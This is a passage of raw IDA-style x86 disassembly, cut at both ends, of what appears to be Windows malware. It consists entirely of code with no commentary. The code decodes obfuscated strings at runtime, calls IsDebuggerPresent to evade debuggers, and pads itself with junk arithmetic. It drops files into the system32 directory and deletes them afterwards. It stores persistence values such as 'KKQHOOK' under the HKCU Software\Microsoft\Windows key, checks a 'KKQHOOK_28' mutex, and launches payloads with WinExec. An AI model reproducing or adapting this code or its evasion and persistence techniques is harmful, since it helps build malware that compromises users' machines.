0FFFFFFFCh push ds:dword_41076C call sub_40C494 ; SetWindowLongA mov [ebp+var_13A], 62Dh movzx eax, [ebp+var_13A] imul eax, 6BB4h mov [ebp+var_13A], ax push 0FFFFFFFCh push ds:dword_41D918 call sub_40C488 ; GetWindowLongA mov ds:dword_413C94, eax call sub_40C194 ; GetCurrentThreadId push offset sub_40ACD5 push 0FFFFFFFCh push ds:dword_41D918 call sub_40C494 ; SetWindowLongA lea edi, [ebp+var_158] lea esi, byte_44598B mov ecx, 3 rep movsb push ds:dword_431E90 call sub_40C428 ; SetFocus call sub_40C224 ; GetVersion pop edi pop esi pop ebx leave retn sub_408C98 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_4096E4 proc near ; DATA XREF: sub_40A4E2+771o var_55DC = dword ptr -55DCh var_55D5 = byte ptr -55D5h var_55CF = byte ptr -55CFh var_55CA = word ptr -55CAh var_55C8 = word ptr -55C8h var_55C5 = byte ptr -55C5h var_55BE = byte ptr -55BEh var_4714 = dword ptr -4714h var_4710 = byte ptr -4710h var_470F = byte ptr -470Fh var_4708 = byte ptr -4708h var_4700 = dword ptr -4700h var_46FC = dword ptr -46FCh var_46F8 = dword ptr -46F8h var_46F4 = byte ptr -46F4h var_46EC = dword ptr -46ECh var_46E8 = dword ptr -46E8h var_46E2 = word ptr -46E2h var_46DF = byte ptr -46DFh var_46DE = word ptr -46DEh var_46DC = dword ptr -46DCh var_46D6 = word ptr -46D6h var_46D3 = byte ptr -46D3h var_45D4 = byte ptr -45D4h var_45D0 = dword ptr -45D0h var_45CC = dword ptr -45CCh var_45C8 = dword ptr -45C8h var_45C3 = byte ptr -45C3h var_45BF = byte ptr -45BFh var_35DC = dword ptr -35DCh var_35D8 = dword ptr -35D8h var_35D2 = byte ptr -35D2h var_35CA = byte ptr -35CAh var_35C9 = byte ptr -35C9h var_35C8 = dword ptr -35C8h var_35C4 = dword ptr -35C4h var_35C0 = dword ptr -35C0h var_35BC = dword ptr -35BCh var_35B7 = byte ptr -35B7h var_25B8 = byte ptr -25B8h var_25B3 = byte ptr -25B3h var_15C4 = dword ptr -15C4h var_15C0 = dword ptr -15C0h var_15BA = byte ptr -15BAh var_15B9 = byte ptr -15B9h var_15B6 = word ptr -15B6h var_15B4 = dword ptr -15B4h var_115F = word ptr -115Fh var_115D = byte ptr -115Dh var_1155 = byte ptr -1155h var_1150 = byte ptr -1150h var_114C = word ptr -114Ch var_1149 = byte ptr -1149h var_1141 = byte ptr -1141h var_1139 = byte ptr -1139h var_1132 = byte ptr -1132h var_112C = dword ptr -112Ch var_1127 = byte ptr -1127h var_1028 = dword ptr -1028h var_1022 = word ptr -1022h var_1020 = byte ptr -1020h var_101F = byte ptr -101Fh var_101E = byte ptr -101Eh var_101D = byte ptr -101Dh var_101C = word ptr -101Ch var_1019 = byte ptr -1019h var_1018 = dword ptr -1018h var_1014 = dword ptr -1014h var_100F = byte ptr -100Fh var_F0B = byte ptr -0F0Bh var_E0C = dword ptr -0E0Ch var_E08 = byte ptr -0E08h var_608 = dword ptr -608h var_604 = dword ptr -604h var_600 = byte ptr -600h var_200 = byte ptr -200h var_1FD = byte ptr -1FDh var_1FB = byte ptr -1FBh var_1A8 = byte ptr -1A8h var_1A7 = byte ptr -1A7h push ebp mov ebp, esp mov eax, 55DCh call sub_40C118 push ebx push esi push edi call sub_40C224 ; GetVersion mov eax, dword_44598E mov [ebp+var_112C+1], eax lea edi, [ebp+var_1132] lea esi, aXei? ; " xeI?<" mov ecx, 7 rep movsb lea edi, [ebp+var_1139] lea esi, aZmbL ; "zMB%L " mov ecx, 7 rep movsb lea edi, [ebp+var_1141] lea esi, aCdeDa ; "<Cde;Da" movsd movsd lea edi, [ebp+var_1149] lea esi, dword_4459A8 mov ecx, 2 rep movsd call sub_40C218 ; GetTickCount push eax call sub_40C6BC pop ecx call sub_40C1F4 ; GetProcessHeap loc_40975C: ; CODE XREF: sub_4096E4+D92j mov eax, 1Ah sub eax, dword_43B098 push eax lea eax, [ebp+var_F0B] push eax call sub_401719 mov [ebp+var_101C], 64C5h sub [ebp+var_101C], 6938h push 9 push offset aGmGFsd ; "Õƒ¬ÕƒÞ”‘„" call sub_40129C lea edi, [ebp+var_F0B] push edi push offset aCWindowsSystem ; "C:\\WINDOWS\\system32" push eax lea edi, [ebp+var_600] push edi call sub_40C6B0 lea eax, [ebp+var_600] push eax call sub_40352B mov [ebp+var_101D], 1Ah sub [ebp+var_101D], 0F5h mov ax, word_4459B0 mov [ebp+var_114C+1], ax push 9 push offset aSddaG ; "˜„„€ÊßßÕƒ" call sub_40129C mov edi, dword_43B0B0 push off_43B0B8[edi*4] push eax lea edi, [ebp+var_E08] push edi call sub_40C6B0 mov [ebp+var_101E], 5Ah movzx eax, [ebp+var_101E] imul eax, 4786h mov [ebp+var_101E], al push 1 push offset asc_445CA6 ; "ß" call sub_40129C mov edi, 13h sub edi, dword_43B098 push edi push eax mov edi, dword_43B0B0 push off_43B0B8[edi*4] call sub_40181E add esp, 4Ch cmp eax, 0FFFFh jnz short loc_409863 push 9 push offset aZuxgAsa ; "߇“•ƒÞ€˜€" call sub_40129C push eax lea edi, [ebp+var_E08] push edi call sub_40C6D4 add esp, 10h loc_409863: ; CODE XREF: sub_4096E4+161j and [ebp+var_1018], 0 mov [ebp+var_1028], 4 call sub_40C194 ; GetCurrentThreadId push 1Ah push offset aGqcdzsvxmSuvqg ; "£Ÿ–„‡‘‚•¬½™“‚ŸƒŸ–„¬§™ž”Ÿ‡ƒ" call sub_40129C mov [ebp+var_15B4], eax push 3 push offset aScu ; "™–“" call sub_40129C lea edi, [ebp+var_1150] push edi lea edi, [ebp+var_1028] push edi lea edi, [ebp+var_1018] push edi push eax mov edi, [ebp+var_15B4] push edi push 80000001h call sub_4014AA call sub_40C2B4 ; IsDebuggerPresent lea edi, [ebp+var_1155] lea esi, aJsz ; " jSZ" mov ecx, 5 rep movsb push 7 push offset aScuE ; "Ï™–“ÍÕ…" call sub_40129C push [ebp+var_1018] push eax lea edi, [ebp+var_1127] push edi call sub_40C6B0 mov [ebp+var_101F], 0B8h movzx eax, [ebp+var_101F] imul eax, 6FBDh mov [ebp+var_101F], al lea eax, [ebp+var_1127] push eax lea eax, [ebp+var_E08] push eax call sub_40C6D4 call sub_40C188 ; GetCurrentProcessId push 1 push offset aB ; "" call sub_40129C lea edi, [ebp+var_604] push edi push 0 push 0 push eax push offset aKkqhook ; "KKQHOOK" lea edi, [ebp+var_600] push edi lea edi, [ebp+var_E08] push edi push 0 call sub_4063A9 add esp, 6Ch mov ebx, eax call sub_40C194 ; GetCurrentThreadId or ebx, ebx jnz short loc_40999B mov [ebp+var_15B6], 318Dh movzx eax, [ebp+var_15B6] imul eax, 240Eh mov [ebp+var_15B6], ax lea eax, [ebp+var_600] push eax call sub_4035A9 pop ecx call sub_40C2B4 ; IsDebuggerPresent jmp loc_40A383 ; --------------------------------------------------------------------------- loc_40999B: ; CODE XREF: sub_4096E4+281j and [ebp+var_1018], 0 push 1Ah push offset aGqcdzsvxmSuvqg ; "£Ÿ–„‡‘‚•¬½™“‚ŸƒŸ–„¬§™ž”Ÿ‡ƒ" call sub_40129C mov [ebp-15B8h], eax push 3 push offset aScu ; "™–“" call sub_40129C push 4 push 4 lea edi, [ebp+var_1018] push edi push eax mov edi, [ebp-15B8h] push edi push 80000001h call sub_4015C0 mov [ebp+var_1020], 0F4h movzx eax, [ebp+var_1020] imul eax, 307Eh mov [ebp+var_1020], al push 0 lea eax, [ebp+var_600] push eax call sub_401AC1 add esp, 30h mov [ebp+var_E0C], eax or eax, eax jz loc_40A383 mov [ebp+var_1022], 1FAh add [ebp+var_1022], 144Fh lea eax, [ebp+var_600] push eax call sub_40C3E0 ; DeleteFileA lea edi, [ebp+var_115D] lea esi, aEq ; "`<|'&eq" movsd movsd lea eax, [ebp+var_600] push eax call sub_4035A9 pop ecx and [ebp+var_608], 0 jmp loc_40A335 ; --------------------------------------------------------------------------- loc_409A5B: ; CODE XREF: sub_4096E4+C74j mov eax, dword_4459BF mov [ebp+var_35BC+1], eax cmp [ebp+var_200], 0 jz loc_40A335 call sub_40C194 ; GetCurrentThreadId lea ecx, [ebp+var_200] or eax, 0FFFFFFFFh loc_409A81: ; CODE XREF: sub_4096E4+3A2j inc eax cmp byte ptr [ecx+eax], 0 jnz short loc_409A81 cmp eax, 5Ch jb loc_40A335 mov [ebp+var_1A8], 0 push 0FFFh lea eax, [ebp+var_25B8] push eax lea eax, [ebp+var_1A7] push eax call sub_408A61 push 0FFFh lea eax, [ebp+var_35B7] push eax lea eax, [ebp+var_200] push eax call sub_408A61 add esp, 18h call sub_40C218 ; GetTickCount mov [ebp+var_15BA], 0 mov [ebp+var_15B9], 0 jmp short loc_409AFE ; --------------------------------------------------------------------------- loc_409AE0: ; CODE XREF: sub_4096E4+433j movzx eax, [ebp+var_15B9] lea edx, [ebp+eax+var_25B8] movsx ecx, byte ptr [edx] sub ecx, eax mov eax, ecx mov [edx], al add [ebp+var_15B9], 1 loc_409AFE: ; CODE XREF: sub_4096E4+3FAj lea ecx, [ebp+var_25B8] or eax, 0FFFFFFFFh loc_409B07: ; CODE XREF: sub_4096E4+428j inc eax cmp byte ptr [ecx+eax], 0 jnz short loc_409B07 movzx esi, [ebp+var_15B9] cmp esi, eax jb short loc_409AE0 call sub_40C1B8 ; RtlGetLastWin32Error lea ecx, [ebp+var_25B8] or eax, 0FFFFFFFFh loc_409B27: ; CODE XREF: sub_4096E4+448j inc eax cmp byte ptr [ecx+eax], 0 jnz short loc_409B27 lea esi, [ebp+var_35B7] push esi push eax lea edi, [ebp+var_25B8] push edi call sub_4088C3 add esp, 0Ch mov [ebp+var_35C0], eax push 5 push offset aZagd ; "‡€ƒ„Ð" call sub_40129C add esp, 8 mov edi, 13h sub edi, dword_43B098 push edi push eax lea edi, [ebp+var_25B8] push edi call sub_40181E add esp, 0Ch cmp eax, 0 jnz loc_409FD3 call sub_40C1B8 ; RtlGetLastWin32Error mov eax, dword_4459C3 mov [ebp+var_46EC], eax lea edi, [ebp+var_46F4] lea esi, aQutqT ; "%Qutq t" mov ecx, 8 rep movsb lea eax, [ebp+var_25B3] push eax lea eax, [ebp+var_45C3] push eax call sub_40C138 mov [ebp+var_35C4], 0 mov [ebp+var_45C8], 4 lea eax, [ebp+var_45D4] push eax lea eax, [ebp+var_45C8] push eax lea eax, [ebp+var_35C4] push eax push offset aOfstkkq ; "ofstkkq" push offset aSoftwareMicros ; "Software\\Microsoft\\Windows" push 80000001h call sub_4014AA add esp, 18h call sub_40C188 ; GetCurrentProcessId push 1 push offset aB ; "" call sub_40129C add esp, 8 lea edi, [ebp+var_604] push edi push 0 push 0 push eax push offset aKkqhook ; "KKQHOOK" lea edi, [ebp+var_600] push edi lea edi, [ebp+var_45C3] push edi push offset dword_41EAD0 call sub_4063A9 add esp, 20h mov ebx, eax call sub_40C218 ; GetTickCount cmp ebx, 0 jnz short loc_409C6B call sub_40C218 ; GetTickCount lea eax, [ebp+var_600] push eax call sub_4035A9 add esp, 4 mov [ebp+var_4714], 7890h add [ebp+var_4714], 336h jmp short loc_409CAF ; --------------------------------------------------------------------------- loc_409C6B: ; CODE XREF: sub_4096E4+55Bj push 4 push 4 lea eax, [ebp+var_604] push eax push offset aOfstkkq ; "ofstkkq" push offset aSoftwareMicros ; "Software\\Microsoft\\Windows" push 80000001h call sub_4015C0 mov eax, dword_4459CF mov [ebp+var_46F8], eax lea eax, [ebp+var_600] push eax call sub_4035A9 add esp, 1Ch mov eax, dword_4459D3 mov [ebp+var_46FC], eax loc_409CAF: ; CODE XREF: sub_4096E4+585j and [ebp+var_35C4], 0 mov [ebp+var_45C8], 4 call sub_40C2B4 ; IsDebuggerPresent lea eax, [ebp+var_45D4] push eax lea eax, [ebp+var_45C8] push eax lea eax, [ebp+var_35C4] push eax push offset aOfstkkqc ; "ofstkkqc" push offset aSoftwareMicros ; "Software\\Microsoft\\Windows" push 80000001h call sub_4014AA add esp, 18h push 0 push 0 push 4 push 0 push 0 push 80000000h push offset dword_40DFD0 call sub_40C2FC ; CreateFileA mov [ebp+var_45CC], eax call sub_40C188 ; GetCurrentProcessId push 0 push [ebp+var_45CC] call sub_40C1A0 ; GetFileSize mov [ebp+var_46E8], eax push [ebp+var_45CC] call sub_40C1DC ; CloseHandle call sub_40C188 ; GetCurrentProcessId mov eax, [ebp+var_46E8] cmp [ebp+var_35C4], eax jb short loc_409D65 mov [ebp+var_4714], 783Bh mov eax, [ebp+var_4714] mov edx, eax add edx, eax mov [ebp+var_4714], edx jmp loc_409E90 ; --------------------------------------------------------------------------- loc_409D65: ; CODE XREF: sub_4096E4+660j mov eax, dword_4459D7 mov [ebp+var_4700], eax mov eax, dword_43B094 inc eax push eax lea eax, [ebp+var_46D3] push eax call sub_401719 mov [ebp+var_46D6], 62AFh movzx eax, [ebp+var_46D6] imul eax, 4D6h mov [ebp+var_46D6], ax push 9 push offset aGmGDaa ; "Õƒ¬ÕƒÞ„€" call sub_40129C lea edi, [ebp+var_46D3] push edi push offset aCWindowsSystem ; "C:\\WINDOWS\\system32" push eax lea edi, [ebp+var_600] push edi call sub_40C6B0 lea edi, [ebp+var_4708] lea esi, aBPA ; "&B /p%€" movsd movsd lea eax, [ebp+var_600] push eax call sub_40352B call sub_40C218 ; GetTickCount push 1 push offset aB ; "" call sub_40129C lea edi, [ebp+var_604] push edi push 0 push [ebp+var_35C4] push eax push offset aKkqhook ; "KKQHOOK" lea edi, [ebp+var_600] push edi lea edi, [ebp+var_45C3] push edi push offset dword_40DFD0 call sub_4063A9 mov ebx, eax mov [ebp+var_46DC], 63C2h add [ebp+var_46DC], 4AD7h lea eax, [ebp+var_600] push eax call sub_40C3E0 ; DeleteFileA lea eax, [ebp+var_600] push eax call sub_4035A9 add esp, 50h call sub_40C194 ; GetCurrentThreadId or ebx, ebx jz short loc_409E90 mov [ebp+var_4710], 0ADh add [ebp+var_4710], 9Ah cmp [ebp+var_604], 0 jz short loc_409E90 push 4 push 4 lea eax, [ebp+var_604] push eax push offset aOfstkkqc ; "ofstkkqc" push offset aSoftwareMicros ; "Software\\Microsoft\\Windows" push 80000001h call sub_4015C0 add esp, 18h loc_409E90: ; CODE XREF: sub_4096E4+67Cj ; sub_4096E4+771j ... push 0 push 80h push 3 push 0 push 0 push 80000000h push offset dword_413CB0 call sub_40C2FC ; CreateFileA mov [ebp+var_45D0], eax cmp eax, 0FFFFFFFFh jz loc_40A383 push [ebp+var_45D0] call sub_40C1DC ; CloseHandle lea eax, [ebp+var_45C3] push eax lea eax, [ebp+var_E08] push eax call sub_40C6B0 mov [ebp+var_46DE], 3884h inc [ebp+var_46DE] push 6 push offset aFaa ; "Ï”€ÍÂ" call sub_40129C push eax lea edi, [ebp+var_E08] push edi call sub_40C6D4 mov [ebp+var_46DF], 0EFh movzx eax, [ebp+var_46DF] imul eax, 56B3h mov [ebp+var_46DF], al lea eax, [ebp+var_600] push eax call sub_40352B push 1 push offset aB ; "" call sub_40129C lea edi, [ebp+var_604] push edi push 0 push [ebp+var_35C4] push eax push offset aKkqhook ; "KKQHOOK" lea edi, [ebp+var_600] push edi lea edi, [ebp+var_E08] push edi push offset dword_413CB0 call sub_4063A9 mov ebx, eax mov [ebp+var_46E2], 17CDh movzx eax, [ebp+var_46E2] imul eax, 7FD2h mov [ebp+var_46E2], ax lea eax, [ebp+var_600] push eax call sub_40C3E0 ; DeleteFileA call sub_40C218 ; GetTickCount lea eax, [ebp+var_600] push eax call sub_4035A9 add esp, 48h lea edi, [ebp+var_470F] lea esi, aEijF ; "eiJ=+f" mov ecx, 7 rep movsb or ebx, ebx jz short loc_409FD3 mov word ptr [ebp+var_4714+2], 6103h add word ptr [ebp+var_4714+2], 58EFh push offset dword_413CB0 call sub_40C3E0 ; DeleteFileA loc_409FD3: ; CODE XREF: sub_4096E4+495j ; sub_4096E4+8D1j cmp [ebp+var_200], 3Ah jnz loc_40A1B7 cmp [ebp+var_1FD], 3Ah jnz loc_40A1B7 mov [ebp+var_35C8], 2DB0h add [ebp+var_35C8], 3D7h mov [ebp+var_35C9], 83h sub [ebp+var_35C9], 50h mov [ebp+var_1FD], 0 push 5 push offset aE_1 ; "ÊÕÀÂ…" call sub_40129C lea edi, [ebp+var_35C4] push edi push eax lea edi, [ebp+var_200] push edi call sub_40C6C8 add esp, 14h call sub_40C2B4 ; IsDebuggerPresent cmp [ebp+var_35C4], 0 jz short loc_40A070 call sub_40C698 mov edx, 621B97C3h push ecx mov ecx, eax imul edx sar edx, 7 sar ecx, 1Fh sub edx, ecx mov eax, edx pop ecx mov edi, eax inc edi cmp edi, [ebp+var_35C4] ja loc_40A335 loc_40A070: ; CODE XREF: sub_4096E4+961j cmp ds:dword_418380, 2 jnz short loc_40A0DC mov [ebp+var_35D8], 4729h sub [ebp+var_35D8], 5564h push 400h lea eax, [ebp+var_600] push eax call sub_40C200 ; GetSystemDirectoryA push 0Ah push offset aGmuafAsc ; "Õƒ¬“”Þ€™–" call sub_40129C lea edi, [ebp+var_600] push edi push eax lea edi, [ebp+var_100F] push edi call sub_40C6B0 push 8 push offset aMuafXix ; "¬“”Þ•ˆ•" call sub_40129C push eax lea edi, [ebp+var_600] push edi call sub_40C6D4 add esp, 24h jmp short loc_40A154 ; --------------------------------------------------------------------------- loc_40A0DC: ; CODE XREF: sub_4096E4+993j call sub_40C188 ; GetCurrentProcessId push 400h lea eax, [ebp+var_600] push eax call sub_40C248 ; GetWindowsDirectoryA push 0Eh push offset aGmuqaasufAsc ; "Õƒ¬“Ÿ‘ž”Þ€™–" call sub_40129C lea edi, [ebp+var_600] push edi push eax lea edi, [ebp+var_100F] push edi call sub_40C6B0 call sub_40C2B4 ; IsDebuggerPresent push 0Ch push offset aMuqaasufUqa ; "¬“Ÿ‘ž”Þ“Ÿ" call sub_40129C push eax lea edi, [ebp+var_600] push edi call sub_40C6D4 add esp, 24h mov [ebp+var_35D8], 20B4h mov eax, 7569h mul [ebp+var_35D8] mov [ebp+var_35DC], eax mov [ebp+var_35D8], eax loc_40A154: ; CODE XREF: sub_4096E4+9F6j lea eax, [ebp+var_100F] push eax call sub_40C3E0 ; DeleteFileA lea edi, [ebp+var_35D2] lea esi, a2qZg8 ; "2q %ZG8" movsd movsd push 8 push offset aGG_0 ; "ÕƒÐß³ÐÕƒ" call sub_40129C lea edi, [ebp+var_200] add edi, 4 push edi lea edi, [ebp+var_600] push edi push eax lea edi, [ebp+var_600] push edi call sub_40C6B0 add esp, 18h push 0 lea eax, [ebp+var_600] push eax call sub_40C3A4 ; WinExec mov [ebp+var_35CA], 57h add [ebp+var_35CA], 1 loc_40A1B7: ; CODE XREF: sub_4096E4+8F6j ; sub_4096E4+903j push 5 push offset aZeaf ; "‡…€”Ð" call sub_40129C mov edi, 8 sub edi, dword_43B094 push edi push eax lea edi, [ebp+var_200] push edi call sub_40181E add esp, 14h or eax, eax jnz loc_40A335 call sub_40C218 ; GetTickCount lea edi, [ebp+var_55C5] lea esi, aMZ4 ; "%,m z4" mov ecx, 7 rep movsb mov ax, word_4459F9 mov [ebp+var_55C8+1], ax mov eax, 0Eh sub eax, dword_43B094 push eax lea eax, [ebp+var_F0B] push eax call sub_401719 mov ax, word_4459FB mov [ebp+var_55CA+1], ax push 9 push offset aGmGFsd ; "Õƒ¬ÕƒÞ”‘„" call sub_40129C lea edi, [ebp+var_F0B] push edi push offset aCWindowsSystem ; "C:\\WINDOWS\\system32" push eax lea edi, [ebp+var_45BF] push edi call sub_40C6B0 call sub_40C2B4 ; IsDebuggerPresent lea edi, [ebp+var_55CF] lea esi, aJzft ; " jzFt" mov ecx, 3 rep movsw lea eax, [ebp+var_1FB] push eax lea eax, [ebp+var_55BE] push eax call sub_40C138 push 3 push offset aIf ; "ˆ”Â" call sub_40129C mov [ebp+var_55DC], eax push 1 push offset aB ; "" call sub_40129C push 0 push 0 push 0 push eax mov edi, [ebp+var_55DC] push edi lea edi, [ebp+var_45BF] push edi lea edi, [ebp+var_55BE] push edi push 0 call sub_4063A9 add esp, 50h mov ebx, eax lea edi, [ebp+var_55D5] lea esi, aEGry ; "E=GrY" mov ecx, 3 rep movsw cmp ebx, 2 jnz short loc_40A335 call sub_40C1F4 ; GetProcessHeap push 0 lea eax, [ebp+var_45BF] push eax call sub_40C3A4 ; WinExec push 6 push offset aUxzjxv ; "ž•‡†•‚" call sub_40129C mov edi, 13h sub edi, dword_43B098 push edi push eax lea edi, [ebp+var_55BE] push edi call sub_40181E add esp, 14h cmp eax, 0FFFFh jz short loc_40A335 mov eax, 13h sub eax, dword_43B098 push eax call sub_40C65C pop ecx loc_40A335: ; CODE XREF: sub_4096E4+372j ; sub_4096E4+389j ... lea eax, [ebp+var_200] push eax push [ebp+var_608] push [ebp+var_E0C] call sub_401C5D add esp, 0Ch mov [ebp+var_608], eax or eax, eax jnz loc_409A5B push [ebp+var_E0C] call sub_40C2D8 ; LocalFree mov [ebp+var_1019], 94h movzx eax, [ebp+var_1019] mov edx, eax add edx, eax mov eax, edx mov [ebp+var_1019], al loc_40A383: ; CODE XREF: sub_4096E4+2B2j ; sub_4096E4+32Cj ... fld dbl_445C04 fimul dword_43B0B0 mov edi, eax call sub_40C090 xchg eax, edi push edi call sub_40C650 mov edi, dword_43B0B4 sub edi, eax inc edi mov [ebp+var_1014], edi call sub_40C224 ; GetVersion mov eax, edi mov [ebp-15BCh], eax push eax call sub_40C650 add esp, 8 mov edi, [ebp-15BCh] add edi, eax mov [ebp+var_1014], edi mov eax, edi mov edi, dword_43B0B4 sub edi, dword_43B0B0 mov ecx, edi inc ecx xor edx, edx div ecx mov [ebp+var_15C0], eax mov [ebp+var_1014], eax call sub_40C218 ; GetTickCount call sub_40C698 mov [ebp+var_15C4], eax mov eax, dword_43B0B0 mov edx, 66666667h push ecx mov ecx, eax imul edx sar edx, 1 sar ecx, 1Fh sub edx, ecx mov eax, edx pop ecx lea edi, [eax+eax*4] mov esi, [ebp+var_1014] mov edx, [ebp+var_15C4] mov eax, esi imul eax, [ebp+var_15C4] mov ecx, 0Ah cdq idiv ecx lea edi, [edi+edx+5] mov dword_43B0B0, edi mov ax, word_445A09 mov [ebp+var_115F], ax mov eax, dword_43B0B4 cmp edi, eax jbe short loc_40A461 and dword_43B0B0, 0 loc_40A461: ; CODE XREF: sub_4096E4+D74j call sub_40C1F4 ; GetProcessHeap push 493E0h call sub_40C638 pop ecx call sub_40C1B8 ; RtlGetLastWin32Error jmp loc_40975C sub_4096E4 endp ; --------------------------------------------------------------------------- pop edi pop esi pop ebx leave retn 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A482 proc near ; CODE XREF: sub_40A4E2+16p var_10 = dword ptr -10h var_9 = byte ptr -9 var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 10h push edi call sub_40C1B8 ; RtlGetLastWin32Error mov eax, dword_445A0B mov [ebp+var_8], eax push offset aKkqhook_28 ; "KKQHOOK_28" push 0 push 1F0001h call sub_40C2E4 ; OpenMutexA mov [ebp+var_4], eax or eax, eax jz short loc_40A4DF call sub_40C1B8 ; RtlGetLastWin32Error push [ebp+var_4] call sub_40C1DC ; CloseHandle mov [ebp+var_9], 0D9h add [ebp+var_9], 86h mov eax, 13h sub eax, dword_43B098 push eax call sub_40C65C pop ecx mov [ebp+var_10], 15A8h inc [ebp+var_10] loc_40A4DF: ; CODE XREF: sub_40A482+2Aj pop edi leave retn sub_40A482 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A4E2 proc near ; CODE XREF: sub_40C0B4+5Cp var_7B9 = byte ptr -7B9h var_7B8 = dword ptr -7B8h var_7B4 = byte ptr -7B4h var_7B0 = byte ptr -7B0h var_7AB = byte ptr -7ABh var_7A8 = byte ptr -7A8h var_7A3 = byte ptr -7A3h var_7A0 = byte ptr -7A0h var_79A = byte ptr -79Ah var_799 = byte ptr -799h var_791 = byte ptr -791h var_78C = word ptr -78Ch var_78A = byte ptr -78Ah var_784 = byte ptr -784h var_77D = dword ptr -77Dh var_779 = byte ptr -779h var_774 = byte ptr -774h var_76D = byte ptr -76Dh var_766 = byte ptr -766h var_667 = byte ptr -667h var_568 = byte ptr -568h var_464 = dword ptr -464h var_460 = dword ptr -460h var_45C = byte ptr -45Ch var_358 = dword ptr -358h var_352 = word ptr -352h var_350 = dword ptr -350h var_34C = dword ptr -34Ch var_348 = dword ptr -348h var_344 = byte ptr -344h var_2E0 = byte ptr -2E0h var_27C = dword ptr -27Ch var_276 = word ptr -276h var_274 = byte ptr -274h var_273 = byte ptr -273h var_272 = word ptr -272h var_270 = byte ptr -270h var_16C = dword ptr -16Ch var_168 = dword ptr -168h var_164 = byte ptr -164h var_60 = word ptr -60h var_5D = byte ptr -5Dh var_5C = dword ptr -5Ch var_55 = dword ptr -55h var_51 = dword ptr -51h var_4D = dword ptr -4Dh var_49 = dword ptr -49h var_45 = dword ptr -45h var_41 = dword ptr -41h var_3D = dword ptr -3Dh var_39 = dword ptr -39h var_35 = dword ptr -35h var_31 = dword ptr -31h var_2D = byte ptr -2Dh var_27 = byte ptr -27h var_26 = byte ptr -26h var_25 = byte ptr -25h var_1D = byte ptr -1Dh var_1 = byte ptr -1 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 7BCh push ebx push esi push edi mov [ebp+var_60], 7665h inc [ebp+var_60] call sub_40A482 lea edi, [ebp+var_76D] lea esi, aCQtV ; "C-qT~V" mov ecx, 7 rep movsb push 104h lea eax, [ebp+var_164] push eax call sub_40C200 ; GetSystemDirectoryA lea edi, [ebp+var_774] lea esi, aD9u5 ; "d 9u5" mov ecx, 7 rep movsb push 13h push offset aMfvsjxvgmufsgv ; "¬”‚™†•‚ƒ¬ž”™ƒ‚”Þƒ‰ƒ" call sub_40129C push eax lea edi, [ebp+var_164] push edi call sub_40C6D4 add esp, 10h call sub_40C224 ; GetVersion push 0 push 0 push 3 push 0 push 0 push 80000001h lea eax, [ebp+var_164] push eax call sub_40C2FC ; CreateFileA mov [ebp+var_358], eax cmp eax, 0FFFFFFFFh jnz short loc_40A582 call sub_4085C0 jmp short loc_40A58D ; --------------------------------------------------------------------------- loc_40A582: ; CODE XREF: sub_40A4E2+97j push [ebp+var_358] call sub_40C1DC ; CloseHandle loc_40A58D: ; CODE XREF: sub_40A4E2+9Ej mov [ebp+var_168], 3F29h add [ebp+var_168], 61B7h push 9 push offset aXustXfgc ; "•ž‘’œ•”ƒ–" call sub_40129C push eax call sub_40C254 ; GlobalAddAtomA call sub_40C188 ; GetCurrentProcessId mov eax, [ebp+arg_0] mov ds:dword_41D928, eax mov ds:dword_418370, 94h lea edi, [ebp+var_779] lea esi, aSgl ; "+SƒL" mov ecx, 5 rep movsb push offset dword_418370 call sub_40C230 ; GetVersionExA call sub_40C1F4 ; GetProcessHeap push 0FFh push offset aCWindowsSystem ; "C:\\WINDOWS\\system32" call sub_40C200 ; GetSystemDirectoryA call sub_40C1B8 ; RtlGetLastWin32Error call sub_40C218 ; GetTickCount push eax call sub_40C6BC call sub_40C2B4 ; IsDebuggerPresent mov eax, dword_445A22 mov [ebp+var_77D], eax push 104h lea eax, [ebp+var_45C] push eax push [ebp+arg_0] call sub_40C1C4 ; GetModuleFileNameA and [ebp+var_5C], 0 mov [ebp+var_460], 4 mov [ebp+var_16C], 1856h inc [ebp+var_16C] lea eax, [ebp+var_784] push eax lea eax, [ebp+var_460] push eax lea eax, [ebp+var_5C] push eax push offset aKkqhook ; "KKQHOOK" push offset aSoftwareMicros ; "Software\\Microsoft\\Windows" push 80000001h call sub_4014AA add esp, 24h mov [ebp+var_464], eax call sub_40C194 ; GetCurrentThreadId cmp [ebp+var_464], 0 jz short loc_40A6D0 call sub_40C218 ; GetTickCount cmp [ebp+var_5C], 1Ch jbe short loc_40A6A7 mov eax, 13h sub eax, dword_43B098 push eax call sub_40C65C pop ecx loc_40A6A7: ; CODE XREF: sub_40A4E2+1B1j mov [ebp+var_7B8], 6BD5h mov eax, [ebp+var_7B8] mov edx, eax add edx, eax mov [ebp+var_7B8], edx cmp [ebp+var_5C], 1Ch jz loc_40A848 call sub_40C2B4 ; IsDebuggerPresent loc_40A6D0: ; CODE XREF: sub_40A4E2+1A6j lea edi, [ebp+var_78A] lea esi, aVSl ; "!‚*SL" mov ecx, 3 rep movsw mov ax, word_445A2C mov [ebp+var_78C], ax call sub_40C698 mov edx, 10624DD3h push ecx mov ecx, eax imul edx sar edx, 7 sar ecx, 1Fh sub edx, ecx mov eax, edx pop ecx mov edi, eax add edi, 41h mov edx, edi mov [ebp+var_2D], dl mov [ebp+var_1], 1 jmp short loc_40A748 ; --------------------------------------------------------------------------- loc_40A71B: ; CODE XREF: sub_40A4E2+26Bj call sub_40C698 movzx edi, [ebp+var_1] mov edx, 10624DD3h push ecx mov ecx, eax imul edx sar edx, 7 sar ecx, 1Fh sub edx, ecx mov eax, edx pop ecx mov esi, eax add esi, 61h mov edx, esi mov [ebp+edi+var_2D], dl add [ebp+var_1], 1 loc_40A748: ; CODE XREF: sub_40A4E2+237j mov al, [ebp+var_1] cmp al, 8 jbe short loc_40A71B lea edi, [ebp+var_791] lea esi, aRL ; "&R:L" mov ecx, 5 rep movsb mov [ebp+var_25], 0 call sub_40C698 mov edx, eax test dl, 1 jnz short loc_40A78F call sub_40C1B8 ; RtlGetLastWin32Error mov [ebp+var_27], 33h mov [ebp+var_7B8], 1E41h inc [ebp+var_7B8] mov [ebp+var_26], 32h loc_40A78F: ; CODE XREF: sub_40A4E2+28Ej push 9 push offset aGmGXix ; "Õƒ¬ÕƒÞ•ˆ•" call 